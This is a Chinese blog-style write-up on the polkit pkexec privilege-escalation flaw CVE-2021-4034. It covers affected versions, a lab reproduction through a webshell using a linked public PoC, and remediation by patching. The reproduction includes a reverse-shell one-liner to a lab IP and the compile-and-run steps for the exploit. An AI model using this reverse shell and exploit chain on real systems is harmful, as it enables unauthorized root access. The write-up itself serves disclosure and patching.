0x00 前言
公司放假两天,突然一天下午,群里面实验室的大哥发了个通告,就是这个臭名昭著刚爆出来的漏洞。通杀目前市场上大多数Linux操作系统。随后我看到各种微信公众号纷纷发表文章,POC已经出现了很长时间了,在野利用肯定不少。
下面是官方通告:
https://ubuntu.com/security/CVE-2021-4034
0x01 漏洞描述
Polkit 是用于在类 Unix 操作系统中控制系统范围特权的组件。它为非特权进程提供了与特权进程进行通信的有组织的方式。
CVE-2021-4034
polkit 的 pkexec 存在本地权限提升漏洞,已获得普通权限的攻击者可通过此漏洞获取root权限。
0x02 影响范围
影响版本:由于 polkit 为系统预装工具,目前主流Linux版本均受影响。
修复版本:
CentOS系列:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu系列:
Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1
0x03 漏洞原理
原理嘛,暂时先放放,实在是太难了,毕竟12年没挖掘出来的漏洞,突然爆出来让我来解释原理,我肯定一脸蒙蔽啊。
0x04 漏洞复现
因为是提权性质的漏洞,所以基本上就是先拿到了webshell,然后再上传POC进行提权的。网上有好多人直接将POC下载到系统中,然后直接在终端编译后运行二进制文件,直接提权,这谁不会啊!但是实战的时候你渗透就这么用??肯定不符合常理。下面按照实战来演示一下。
Centos7
1、蚁剑链接Centos7
2、下载POC并且上传POC https://github.com/sukusec301/Linux-pkexec_2021-4034-EXP,使用这个就行
3、上传完毕后解压缩
4、编译
gcc CVE-2021-40340main.c -o exp
chmod +x exp
5、直接运行,发现不成功
6、反弹shell到kali上再重新运行,成功
ubuntu18.04 / kali
ubuntu的操作方式与kali一样,这里就示范一下KALI的
1、通过蚁剑先链接webshell
2、因为这里网站根目录无法上传文件,切到/tmp
下上传文件即可,将POC解压缩
3、随后直接编译并执行文件,执行失败
gcc cve-2021-4034-poc.c -o exp
4、准备进行反弹shell:因为kali是一个ubuntu系统,所以先创建一个1.sh
文件,然后在里面写上反弹shell的一句话。随后在windows上nc监听,kali上执行命令。可以看到成功反弹shell
1.sh
bash -c 'exec bash -i &>/dev/tcp/192.168.91.1/6666 <&1'
bash 1.sh
5、这时候在windows这个终端上面使用刚刚编译好的exp
,./exp
,成功。
0x05 漏洞修复
具体详细操作步骤详细见这个网站:https://blog.51cto.com/56281688/4974950
目前各Linux发行版官方均已给出安全补丁,建议用户尽快升级至安全版本,或参照官方说明措施进行缓解,CentOS、Ubuntu及Debian用户可参考以下链接:
https://ubuntu.com/security/CVE-2021-4034
https://access.redhat.com/security/cve/CVE-2021-4034
https://security-tracker.debian.org/tracker/CVE-2021-4034
截止到目前2022/01/27, CentOS目前已提供安全更新包
漏洞彻底修复方法之在线升级
1、切换到root,直接执行下面这些命令
yum clean all && yum makecache
yum update polkit -y
2、再次执行exp,就会发现,无效
漏洞彻底修复方法之离线升级
下载rpm包。下载地址:http://mirror.centos.org/centos/7/updates/x86_64/Packages/(需挂代理,Ctrl+F搜索)
wget http://mirror.centos.org/centos/7/updates/x86_64/Packages/polkit-0.112-26.el7_9.1.x86_64.rpm
rpm -Uvh polkit-0.112-26.el7_9.1.x86_64.rpm
rpm -aq | grep polkit #查看Polkit是否为安全版本
./cve-2021-4034-poc #验证漏洞poc
[root@node03 src]# ls
cve-2021-4034-poc polkit-0.112-26.el7_9.1.x86_64.rpm sysinit.sh
[root@node03 src]# rpm -aq | grep polkit
polkit-pkla-compat-0.1-4.el7.x86_64
polkit-0.112-18.el7.x86_64
[root@node03 src]# rpm -Uvh polkit-0.112-26.el7_9.1.x86_64.rpm
Preparing... ################################# [100%]
Updating / installing...
1:polkit-0.112-26.el7_9.1 ################################# [ 50%]
Cleaning up / removing...
2:polkit-0.112-18.el7 ################################# [100%]
[root@node03 src]# rpm -aq | grep polkit
polkit-pkla-compat-0.1-4.el7.x86_64
polkit-0.112-26.el7_9.1.x86_64
[root@node03 src]# su - lianglab
Last login: Thu Jan 27 17:50:22 CST 2022 on pts/0
[lianglab@node03 ]$ ls
[lianglab@node03 ]$ cd /tmp/
[lianglab@node03 tmp]$ ./cve-2021-4034-poc
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
Report bugs to: http://lists.freedesktop.org/mailman/listinfo/polkit-devel
polkit home page:
[lianglab@node03 tmp]$